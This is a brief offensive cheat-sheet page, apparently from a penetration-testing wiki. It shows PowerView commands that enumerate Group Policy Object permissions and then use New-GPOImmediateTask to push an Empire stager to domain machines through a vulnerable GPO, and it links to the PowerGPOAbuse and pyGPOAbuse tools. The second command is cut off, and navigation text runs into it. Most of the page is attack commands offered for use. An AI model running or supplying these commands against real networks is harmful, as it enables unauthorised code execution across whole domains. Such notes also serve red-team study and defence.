Powerview
1) Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}2) New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArgumentsPreviousPowerGPOAbuse https://github.com/rootSySdk/PowerGPOAbuseNextpyGPOAbuse https://github.com/Hackndo/pyGPOAbuse
Last updated